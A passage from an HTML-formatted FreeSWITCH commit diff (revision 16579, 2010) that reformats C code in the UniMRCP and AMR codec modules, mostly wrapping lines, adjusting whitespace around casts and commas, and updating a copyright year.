</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) grammar failed to load, status code = %d\n&quot;, schannel-&gt;name, message-&gt;start_line.status_code);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) grammar failed to load, status code = %d\n&quot;, schannel-&gt;name,
+                                                                          message-&gt;start_line.status_code);
</ins><span class="cx">                                         speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 } else {
</span><span class="cx">                         /* received unexpected response */
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) unexpected response, method_id = %d\n&quot;, schannel-&gt;name, (int)message-&gt;start_line.method_id);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) unexpected response, method_id = %d\n&quot;, schannel-&gt;name,
+                                                          (int) message-&gt;start_line.method_id);
</ins><span class="cx">                         speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
</span><span class="cx">                 }
</span><span class="cx">         } else if (message-&gt;start_line.message_type == MRCP_MESSAGE_TYPE_EVENT) {
</span><span class="cx">                 /* received MRCP event */
</span><span class="cx">                 if (message-&gt;start_line.method_id == RECOGNIZER_RECOGNITION_COMPLETE) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) RECOGNITION COMPLETE, Completion-Cause: %03d\n&quot;, schannel-&gt;name, recog_hdr-&gt;completion_cause);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) RECOGNITION COMPLETE, Completion-Cause: %03d\n&quot;, schannel-&gt;name,
+                                                          recog_hdr-&gt;completion_cause);
</ins><span class="cx">                         if (message-&gt;body.length &gt; 0) {
</span><span class="cx">                                 if (message-&gt;body.buf[message-&gt;body.length - 1] == '\0') {
</span><span class="cx">                                         recog_channel_set_results(schannel, message-&gt;body.buf);
</span><span class="cx">                                 } else {
</span><span class="cx">                                         /* string is not null terminated */
</span><del>-                                        char *result = (char *)switch_core_alloc(schannel-&gt;memory_pool, message-&gt;body.length + 1);
-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) Recognition result is not null-terminated.  Appending null terminator.\n&quot;, schannel-&gt;name);
</del><ins>+                                        char *result = (char *) switch_core_alloc(schannel-&gt;memory_pool, message-&gt;body.length + 1);
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
+                                                                          &quot;(%s) Recognition result is not null-terminated.  Appending null terminator.\n&quot;, schannel-&gt;name);
</ins><span class="cx">                                         strncpy(result, message-&gt;body.buf, message-&gt;body.length);
</span><span class="cx">                                         result[message-&gt;body.length] = '\0';
</span><span class="cx">                                         recog_channel_set_results(schannel, result);
</span><span class="lines">@@ -3084,11 +3133,13 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) START OF INPUT\n&quot;, schannel-&gt;name);
</span><span class="cx">                         recog_channel_set_start_of_input(schannel);
</span><span class="cx">                 } else {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) unexpected event, method_id = %d\n&quot;, schannel-&gt;name, (int)message-&gt;start_line.method_id);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) unexpected event, method_id = %d\n&quot;, schannel-&gt;name,
+                                                          (int) message-&gt;start_line.method_id);
</ins><span class="cx">                         speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
</span><span class="cx">                 }
</span><span class="cx">         } else {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) unexpected message type, message_type = %d\n&quot;, schannel-&gt;name, message-&gt;start_line.message_type);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) unexpected message type, message_type = %d\n&quot;, schannel-&gt;name,
+                                                  message-&gt;start_line.message_type);
</ins><span class="cx">                 speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -3104,13 +3155,13 @@
</span><span class="cx">  */
</span><span class="cx"> static apt_bool_t recog_stream_read(mpf_audio_stream_t *stream, mpf_frame_t *frame)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)stream-&gt;obj;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) stream-&gt;obj;
</ins><span class="cx">         switch_size_t to_read = frame-&gt;codec_frame.size;
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* grab the data.  pad it if there isn't enough */
</span><span class="cx">         if (speech_channel_read(schannel, frame-&gt;codec_frame.buffer, &amp;to_read, 0) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 if (to_read &lt; frame-&gt;codec_frame.size) {
</span><del>-                        memset((uint8_t *)frame-&gt;codec_frame.buffer + to_read, schannel-&gt;silence, frame-&gt;codec_frame.size - to_read);
</del><ins>+                        memset((uint8_t *) frame-&gt;codec_frame.buffer + to_read, schannel-&gt;silence, frame-&gt;codec_frame.size - to_read);
</ins><span class="cx">                 }
</span><span class="cx">                 frame-&gt;type |= MEDIA_FRAME_TYPE_AUDIO;
</span><span class="cx">         }
</span><span class="lines">@@ -3125,7 +3176,7 @@
</span><span class="cx"> {
</span><span class="cx">         /* link to FreeSWITCH ASR / TTS callbacks */
</span><span class="cx">         switch_asr_interface_t *asr_interface = NULL;
</span><del>-        if ((asr_interface = (switch_asr_interface_t *)switch_loadable_module_create_interface(module_interface, SWITCH_ASR_INTERFACE)) == NULL) {
</del><ins>+        if ((asr_interface = (switch_asr_interface_t *) switch_loadable_module_create_interface(module_interface, SWITCH_ASR_INTERFACE)) == NULL) {
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">         asr_interface-&gt;interface_name = MOD_UNIMRCP;
</span><span class="lines">@@ -3145,9 +3196,9 @@
</span><span class="cx">         asr_interface-&gt;asr_text_param = recog_asr_text_param;
</span><span class="cx">         asr_interface-&gt;asr_numeric_param = recog_asr_numeric_param;
</span><span class="cx">         asr_interface-&gt;asr_float_param = recog_asr_float_param;
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* Create the recognizer application and link its callbacks */
</span><del>-        if ((globals.recog.app = mrcp_application_create(recog_message_handler, (void *)0, pool)) == NULL) {
</del><ins>+        if ((globals.recog.app = mrcp_application_create(recog_message_handler, (void *) 0, pool)) == NULL) {
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">         globals.recog.dispatcher.on_session_update = NULL;
</span><span class="lines">@@ -3163,27 +3214,31 @@
</span><span class="cx">         globals.recog.audio_stream_vtable.close_tx = NULL;
</span><span class="cx">         globals.recog.audio_stream_vtable.write_frame = NULL;
</span><span class="cx">         mrcp_client_application_register(globals.mrcp_client, globals.recog.app, &quot;recog&quot;);
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* map FreeSWITCH params or old params to MRCPv2 param */
</span><span class="cx">         switch_core_hash_init_nocase(&amp;globals.recog.fs_param_map, pool);
</span><span class="cx">         /* MRCPv1 param */
</span><span class="cx">         switch_core_hash_insert(globals.recog.fs_param_map, &quot;recognizer-start-timers&quot;, &quot;start-input-timers&quot;);
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* map MRCP params to UniMRCP ID */
</span><span class="cx">         switch_core_hash_init_nocase(&amp;globals.recog.param_id_map, pool);
</span><span class="cx">         switch_core_hash_insert(globals.recog.param_id_map, &quot;Confidence-Threshold&quot;, unimrcp_param_id_create(RECOGNIZER_HEADER_CONFIDENCE_THRESHOLD, pool));
</span><span class="cx">         switch_core_hash_insert(globals.recog.param_id_map, &quot;Sensitivity-Level&quot;, unimrcp_param_id_create(RECOGNIZER_HEADER_SENSITIVITY_LEVEL, pool));
</span><span class="cx">         switch_core_hash_insert(globals.recog.param_id_map, &quot;Speed-Vs-Accuracy&quot;, unimrcp_param_id_create(RECOGNIZER_HEADER_SPEED_VS_ACCURACY, pool));
</span><del>-        switch_core_hash_insert(globals.recog.param_id_map, &quot;N-Best-List-Length&quot;, unimrcp_param_id_create(RECOGNIZER_HEADER_N_BEST_LIST_LENGTH, pool));        
</del><ins>+        switch_core_hash_insert(globals.recog.param_id_map, &quot;N-Best-List-Length&quot;, unimrcp_param_id_create(RECOGNIZER_HEADER_N_BEST_LIST_LENGTH, pool));
</ins><span class="cx">         switch_core_hash_insert(globals.recog.param_id_map, &quot;No-Input-Timeout&quot;, unimrcp_param_id_create(RECOGNIZER_HEADER_NO_INPUT_TIMEOUT, pool));
</span><span class="cx">         switch_core_hash_insert(globals.recog.param_id_map, &quot;Recognition-Timeout&quot;, unimrcp_param_id_create(RECOGNIZER_HEADER_RECOGNITION_TIMEOUT, pool));
</span><span class="cx">         switch_core_hash_insert(globals.recog.param_id_map, &quot;Waveform-Url&quot;, unimrcp_param_id_create(RECOGNIZER_HEADER_WAVEFORM_URI, pool));
</span><span class="cx">         switch_core_hash_insert(globals.recog.param_id_map, &quot;Completion-Cause&quot;, unimrcp_param_id_create(RECOGNIZER_HEADER_COMPLETION_CAUSE, pool));
</span><del>-        switch_core_hash_insert(globals.recog.param_id_map, &quot;Recognizer-Context-Block&quot;, unimrcp_param_id_create(RECOGNIZER_HEADER_RECOGNIZER_CONTEXT_BLOCK, pool));
</del><ins>+        switch_core_hash_insert(globals.recog.param_id_map, &quot;Recognizer-Context-Block&quot;,
+                                                        unimrcp_param_id_create(RECOGNIZER_HEADER_RECOGNIZER_CONTEXT_BLOCK, pool));
</ins><span class="cx">         switch_core_hash_insert(globals.recog.param_id_map, &quot;Start-Input-Timers&quot;, unimrcp_param_id_create(RECOGNIZER_HEADER_START_INPUT_TIMERS, pool));
</span><del>-        switch_core_hash_insert(globals.recog.param_id_map, &quot;Speech-Complete-Timeout&quot;, unimrcp_param_id_create(RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT, pool));
-        switch_core_hash_insert(globals.recog.param_id_map, &quot;Speech-Incomplete-Timeout&quot;, unimrcp_param_id_create(RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT, pool));
-        switch_core_hash_insert(globals.recog.param_id_map, &quot;DTMF-Interdigit-Timeout&quot;, unimrcp_param_id_create(RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT, pool));
</del><ins>+        switch_core_hash_insert(globals.recog.param_id_map, &quot;Speech-Complete-Timeout&quot;,
+                                                        unimrcp_param_id_create(RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT, pool));
+        switch_core_hash_insert(globals.recog.param_id_map, &quot;Speech-Incomplete-Timeout&quot;,
+                                                        unimrcp_param_id_create(RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT, pool));
+        switch_core_hash_insert(globals.recog.param_id_map, &quot;DTMF-Interdigit-Timeout&quot;,
+                                                        unimrcp_param_id_create(RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT, pool));
</ins><span class="cx">         switch_core_hash_insert(globals.recog.param_id_map, &quot;DTMF-Term-Timeout&quot;, unimrcp_param_id_create(RECOGNIZER_HEADER_DTMF_TERM_TIMEOUT, pool));
</span><span class="cx">         switch_core_hash_insert(globals.recog.param_id_map, &quot;DTMF-Term-Char&quot;, unimrcp_param_id_create(RECOGNIZER_HEADER_DTMF_TERM_CHAR, pool));
</span><span class="cx">         switch_core_hash_insert(globals.recog.param_id_map, &quot;Failed-Uri&quot;, unimrcp_param_id_create(RECOGNIZER_HEADER_FAILED_URI, pool));
</span><span class="lines">@@ -3241,12 +3296,13 @@
</span><span class="cx"> 
</span><span class="cx">         if ((settings = switch_xml_child(cfg, &quot;settings&quot;))) {
</span><span class="cx">                 if (switch_xml_config_parse(switch_xml_child(settings, &quot;param&quot;), SWITCH_FALSE, instructions) == SWITCH_STATUS_SUCCESS) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,&quot;Config parsed ok!\n&quot;);
-                        globals.enable_profile_events = !zstr(globals.enable_profile_events_param) &amp;&amp; (!strcasecmp(globals.enable_profile_events_param, &quot;true&quot;) ||         !strcmp(globals.enable_profile_events_param, &quot;1&quot;));
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Config parsed ok!\n&quot;);
+                        globals.enable_profile_events = !zstr(globals.enable_profile_events_param) &amp;&amp; (!strcasecmp(globals.enable_profile_events_param, &quot;true&quot;)
+                                                                                                                                                                                   || !strcmp(globals.enable_profile_events_param, &quot;1&quot;));
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         if (xml) {
</span><span class="cx">                 switch_xml_free(xml);
</span><span class="lines">@@ -3275,12 +3331,12 @@
</span><span class="cx">  */
</span><span class="cx"> static char *ip_addr_get(const char *value, apr_pool_t *pool)
</span><span class="cx"> {
</span><del>-        if (!value || strcasecmp(value,&quot;auto&quot;) == 0) {
</del><ins>+        if (!value || strcasecmp(value, &quot;auto&quot;) == 0) {
</ins><span class="cx">                 char *addr = DEFAULT_LOCAL_IP_ADDRESS;
</span><del>-                apt_ip_get(&amp;addr,pool);
</del><ins>+                apt_ip_get(&amp;addr, pool);
</ins><span class="cx">                 return addr;
</span><span class="cx">         }
</span><del>-        return apr_pstrdup(pool,value);
</del><ins>+        return apr_pstrdup(pool, value);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /**
</span><span class="lines">@@ -3326,9 +3382,9 @@
</span><span class="cx">         } else if (strcasecmp(param, &quot;rtp-ext-ip&quot;) == 0) {
</span><span class="cx">                 apt_string_set(&amp;rtp_config-&gt;ext_ip, ip_addr_get(val, pool));
</span><span class="cx">         } else if (strcasecmp(param, &quot;rtp-port-min&quot;) == 0) {
</span><del>-                rtp_config-&gt;rtp_port_min = (apr_port_t)atol(val);
</del><ins>+                rtp_config-&gt;rtp_port_min = (apr_port_t) atol(val);
</ins><span class="cx">         } else if (strcasecmp(param, &quot;rtp-port-max&quot;) == 0) {
</span><del>-                rtp_config-&gt;rtp_port_max = (apr_port_t)atol(val);
</del><ins>+                rtp_config-&gt;rtp_port_max = (apr_port_t) atol(val);
</ins><span class="cx">         } else if (strcasecmp(param, &quot;playout-delay&quot;) == 0) {
</span><span class="cx">                 rtp_config-&gt;jb_config.initial_playout_delay = atol(val);
</span><span class="cx">         } else if (strcasecmp(param, &quot;min-playout-delay&quot;) == 0) {
</span><span class="lines">@@ -3341,16 +3397,16 @@
</span><span class="cx">                         mpf_codec_manager_codec_list_load(codec_manager, &amp;rtp_config-&gt;codec_list, val, pool);
</span><span class="cx">                 }
</span><span class="cx">         } else if (strcasecmp(param, &quot;ptime&quot;) == 0) {
</span><del>-                rtp_config-&gt;ptime = (apr_uint16_t)atol(val);
</del><ins>+                rtp_config-&gt;ptime = (apr_uint16_t) atol(val);
</ins><span class="cx"> #if UNI_VERSION_AT_LEAST(0,8,0)
</span><span class="cx">         } else if (strcasecmp(param, &quot;rtcp&quot;) == 0) {
</span><span class="cx">                 rtp_config-&gt;rtcp = atoi(val);
</span><span class="cx">         } else if (strcasecmp(param, &quot;rtcp-bye&quot;) == 0) {
</span><span class="cx">                 rtp_config-&gt;rtcp_bye_policy = atoi(val);
</span><span class="cx">         } else if (strcasecmp(param, &quot;rtcp-tx-interval&quot;) == 0) {
</span><del>-                rtp_config-&gt;rtcp_tx_interval = (apr_uint16_t)atoi(val);
</del><ins>+                rtp_config-&gt;rtcp_tx_interval = (apr_uint16_t) atoi(val);
</ins><span class="cx">         } else if (strcasecmp(param, &quot;rtcp-rx-resolution&quot;) == 0) {
</span><del>-                rtp_config-&gt;rtcp_rx_resolution = (apr_uint16_t)atol(val);
</del><ins>+                rtp_config-&gt;rtcp_rx_resolution = (apr_uint16_t) atol(val);
</ins><span class="cx"> #endif
</span><span class="cx">         } else {
</span><span class="cx">                 mine = 0;
</span><span class="lines">@@ -3373,7 +3429,7 @@
</span><span class="cx">         if (strcasecmp(param, &quot;server-ip&quot;) == 0) {
</span><span class="cx">                 config-&gt;server_ip = ip_addr_get(val, pool);
</span><span class="cx">         } else if (strcasecmp(param, &quot;server-port&quot;) == 0) {
</span><del>-                config-&gt;server_port = (apr_port_t)atol(val);
</del><ins>+                config-&gt;server_port = (apr_port_t) atol(val);
</ins><span class="cx">         } else if (strcasecmp(param, &quot;resource-location&quot;) == 0) {
</span><span class="cx">                 config-&gt;resource_location = apr_pstrdup(pool, val);
</span><span class="cx">         } else if (strcasecmp(param, &quot;sdp-origin&quot;) == 0) {
</span><span class="lines">@@ -3403,14 +3459,14 @@
</span><span class="cx">         int mine = 1;
</span><span class="cx">         if (strcasecmp(param, &quot;client-ip&quot;) == 0) {
</span><span class="cx">                 config-&gt;local_ip = ip_addr_get(val, pool);
</span><del>-        } else if (strcasecmp(param,&quot;client-ext-ip&quot;) == 0) {
</del><ins>+        } else if (strcasecmp(param, &quot;client-ext-ip&quot;) == 0) {
</ins><span class="cx">                 config-&gt;ext_ip = ip_addr_get(val, pool);
</span><del>-        } else if (strcasecmp(param,&quot;client-port&quot;) == 0) {
-                config-&gt;local_port = (apr_port_t)atol(val);
</del><ins>+        } else if (strcasecmp(param, &quot;client-port&quot;) == 0) {
+                config-&gt;local_port = (apr_port_t) atol(val);
</ins><span class="cx">         } else if (strcasecmp(param, &quot;server-ip&quot;) == 0) {
</span><span class="cx">                 config-&gt;remote_ip = ip_addr_get(val, pool);
</span><span class="cx">         } else if (strcasecmp(param, &quot;server-port&quot;) == 0) {
</span><del>-                config-&gt;remote_port = (apr_port_t)atol(val);
</del><ins>+                config-&gt;remote_port = (apr_port_t) atol(val);
</ins><span class="cx">         } else if (strcasecmp(param, &quot;server-username&quot;) == 0) {
</span><span class="cx">                 config-&gt;remote_user_name = apr_pstrdup(pool, val);
</span><span class="cx">         } else if (strcasecmp(param, &quot;force-destination&quot;) == 0) {
</span><span class="lines">@@ -3451,7 +3507,7 @@
</span><span class="cx">         mrcp_connection_agent_t *connection_agent;
</span><span class="cx">         mpf_engine_t *media_engine;
</span><span class="cx">         apt_dir_layout_t *dir_layout;
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* create the client */
</span><span class="cx">         if ((dir_layout = apt_default_dir_layout_create(&quot;../&quot;, mod_pool)) == NULL) {
</span><span class="cx">                 goto done;
</span><span class="lines">@@ -3466,9 +3522,8 @@
</span><span class="cx">                 client = NULL;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #if UNI_VERSION_AT_LEAST(0,8,0)
</span><del>-        /* load the synthesizer and recognizer resources */        
</del><ins>+        /* load the synthesizer and recognizer resources */
</ins><span class="cx">         resource_loader = mrcp_resource_loader_create(FALSE, pool);
</span><span class="cx">         if (resource_loader) {
</span><span class="cx">                 apt_str_t synth_resource;
</span><span class="lines">@@ -3531,10 +3586,10 @@
</span><span class="cx">                         /* a profile is a signaling agent + termination factory + media engine + connection agent (MRCPv2 only) */
</span><span class="cx">                         mrcp_sig_agent_t *agent = NULL;
</span><span class="cx">                         mpf_termination_factory_t *termination_factory = NULL;
</span><del>-                        mrcp_profile_t * mprofile = NULL;
</del><ins>+                        mrcp_profile_t *mprofile = NULL;
</ins><span class="cx">                         mpf_rtp_config_t *rtp_config = NULL;
</span><span class="cx">                         profile_t *mod_profile = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         /* get profile attributes */
</span><span class="cx">                         const char *name = apr_pstrdup(pool, switch_xml_attr(profile, &quot;name&quot;));
</span><span class="cx">                         const char *version = switch_xml_attr(profile, &quot;version&quot;);
</span><span class="lines">@@ -3553,7 +3608,7 @@
</span><span class="cx">                         rtp_config-&gt;rtp_port_min = DEFAULT_RTP_PORT_MIN;
</span><span class="cx">                         rtp_config-&gt;rtp_port_max = DEFAULT_RTP_PORT_MAX;
</span><span class="cx">                         apt_string_set(&amp;rtp_config-&gt;ip, DEFAULT_LOCAL_IP_ADDRESS);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (strcmp(&quot;1&quot;, version) == 0) {
</span><span class="cx">                                 /* MRCPv1 configuration */
</span><span class="cx">                                 rtsp_client_config_t *config = mrcp_unirtsp_client_config_alloc(pool);
</span><span class="lines">@@ -3571,7 +3626,7 @@
</span><span class="cx">                                                 goto done;
</span><span class="cx">                                         }
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Loading Param %s:%s\n&quot;, param_name, param_value);
</span><del>-                                        if (!process_mrcpv1_config(config, param_name, param_value, pool) &amp;&amp; 
</del><ins>+                                        if (!process_mrcpv1_config(config, param_name, param_value, pool) &amp;&amp;
</ins><span class="cx">                                                 !process_rtp_config(client, rtp_config, param_name, param_value, pool) &amp;&amp;
</span><span class="cx">                                                 !process_profile_config(mod_profile, param_name, param_value, mod_pool)) {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Unknown param %s\n&quot;, param_name);
</span><span class="lines">@@ -3612,7 +3667,7 @@
</span><span class="cx">                                 goto done;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                        termination_factory = mpf_rtp_termination_factory_create(rtp_config, pool); 
</del><ins>+                        termination_factory = mpf_rtp_termination_factory_create(rtp_config, pool);
</ins><span class="cx">                         if (termination_factory) {
</span><span class="cx">                                 mrcp_client_rtp_factory_register(client, termination_factory, name);
</span><span class="cx">                         }
</span><span class="lines">@@ -3628,7 +3683,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         if (xml) {
</span><span class="cx">                 switch_xml_free(xml);
</span><span class="lines">@@ -3756,14 +3811,14 @@
</span><span class="cx"> static apt_bool_t unimrcp_log(const char *file, int line, const char *id, apt_log_priority_e priority, const char *format, va_list arg_ptr)
</span><span class="cx"> {
</span><span class="cx">         switch_log_level_t level;
</span><del>-        char log_message[4096] = { 0 }; /* same size as MAX_LOG_ENTRY_SIZE in UniMRCP apt_log.c */
</del><ins>+        char log_message[4096] = { 0 };        /* same size as MAX_LOG_ENTRY_SIZE in UniMRCP apt_log.c */
</ins><span class="cx">         size_t msglen;
</span><span class="cx"> 
</span><span class="cx">         if (zstr(format)) {
</span><span class="cx">                 return TRUE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        switch(priority) {
</del><ins>+        switch (priority) {
</ins><span class="cx">         case APT_PRIO_EMERGENCY:
</span><span class="cx">                 /* pass through */
</span><span class="cx">         case APT_PRIO_ALERT:
</span><span class="lines">@@ -3789,8 +3844,8 @@
</span><span class="cx">                 level = SWITCH_LOG_DEBUG;
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><del>-        
-        /* apr_vsnprintf supports format extensions required by UniMRCP */ 
</del><ins>+
+        /* apr_vsnprintf supports format extensions required by UniMRCP */
</ins><span class="cx">         apr_vsnprintf(log_message, sizeof(log_message), format, arg_ptr);
</span><span class="cx">         msglen = strlen(log_message);
</span><span class="cx">         if (msglen &gt;= 2 &amp;&amp; log_message[msglen - 2] == '\\' &amp;&amp; log_message[msglen - 1] == 'n') {
</span><span class="lines">@@ -3800,7 +3855,7 @@
</span><span class="cx">                 /* log message needs \n appended */
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, &quot;&quot;, line, id, level, &quot;%s\n&quot;, log_message);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return TRUE;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -3830,7 +3885,7 @@
</span><span class="cx">  */
</span><span class="cx"> static unimrcp_param_id_t *unimrcp_param_id_create(int id, switch_memory_pool_t *pool)
</span><span class="cx"> {
</span><del>-        unimrcp_param_id_t *param = (unimrcp_param_id_t *)switch_core_alloc(pool, sizeof(unimrcp_param_id_t));
</del><ins>+        unimrcp_param_id_t *param = (unimrcp_param_id_t *) switch_core_alloc(pool, sizeof(unimrcp_param_id_t));
</ins><span class="cx">         if (param) {
</span><span class="cx">                 param-&gt;id = id;
</span><span class="cx">         }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_amrmod_amrc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_amr/mod_amr.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_amr/mod_amr.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_amr/mod_amr.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -250,7 +250,8 @@
</span><span class="cx">                                                                                  switch_codec_t *other_codec,
</span><span class="cx">                                                                                  void *decoded_data,
</span><span class="cx">                                                                                  uint32_t decoded_data_len,
</span><del>-                                                                                 uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate, unsigned int *flag)
</del><ins>+                                                                                 uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
+                                                                                 unsigned int *flag)
</ins><span class="cx"> {
</span><span class="cx"> #ifdef AMR_PASSTHROUGH
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;This codec is only usable in passthrough mode!\n&quot;);
</span><span class="lines">@@ -272,7 +273,8 @@
</span><span class="cx">                                                                                  switch_codec_t *other_codec,
</span><span class="cx">                                                                                  void *encoded_data,
</span><span class="cx">                                                                                  uint32_t encoded_data_len,
</span><del>-                                                                                 uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate, unsigned int *flag)
</del><ins>+                                                                                 uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
+                                                                                 unsigned int *flag)
</ins><span class="cx"> {
</span><span class="cx"> #ifdef AMR_PASSTHROUGH
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;This codec is only usable in passthrough mode!\n&quot;);
</span><span class="lines">@@ -319,24 +321,23 @@
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx"> 
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, &quot;AMR&quot;);
</span><del>-        switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                 SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                 96,                                                /* the IANA code number */
-                                                                                 &quot;AMR&quot;,                                                /* the IANA code name */
-                                                                                 &quot;octet-align=0&quot;,                        /* default fmtp to send (can be overridden by the init function) */
-                                                                                 8000,                                                /* samples transferred per second */
-                                                                                 8000,                                                /* actual samples transferred per second */
-                                                                                 12200,                                                /* bits transferred per second */
-                                                                                 20000,                                                /* number of microseconds per frame */
-                                                                                 160,                                                /* number of samples per frame */
-                                                                                 320,                                                /* number of bytes per frame decompressed */
-                                                                                 0,                                                        /* number of bytes per frame compressed */
-                                                                                 1,                                                        /* number of channels represented */
-                                                                                 1,                                                 /* number of frames per network packet */
-                                                                                 switch_amr_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                 switch_amr_encode,                        /* function to encode raw data into encoded data */
-                                                                                 switch_amr_decode,                        /* function to decode encoded data into raw data */
-                                                                                 switch_amr_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                 96,        /* the IANA code number */
+                                                                                 &quot;AMR&quot;,        /* the IANA code name */
+                                                                                 &quot;octet-align=0&quot;,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                 8000,        /* samples transferred per second */
+                                                                                 8000,        /* actual samples transferred per second */
+                                                                                 12200,        /* bits transferred per second */
+                                                                                 20000,        /* number of microseconds per frame */
+                                                                                 160,        /* number of samples per frame */
+                                                                                 320,        /* number of bytes per frame decompressed */
+                                                                                 0,        /* number of bytes per frame compressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 1,        /* number of frames per network packet */
+                                                                                 switch_amr_init,        /* function to initialize a codec handle using this implementation */
+                                                                                 switch_amr_encode,        /* function to encode raw data into encoded data */
+                                                                                 switch_amr_decode,        /* function to decode encoded data into raw data */
+                                                                                 switch_amr_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx"> 
</span><span class="cx">         /* indicate that the module should continue to be loaded */
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_amrwbmod_amrwbc"></a>
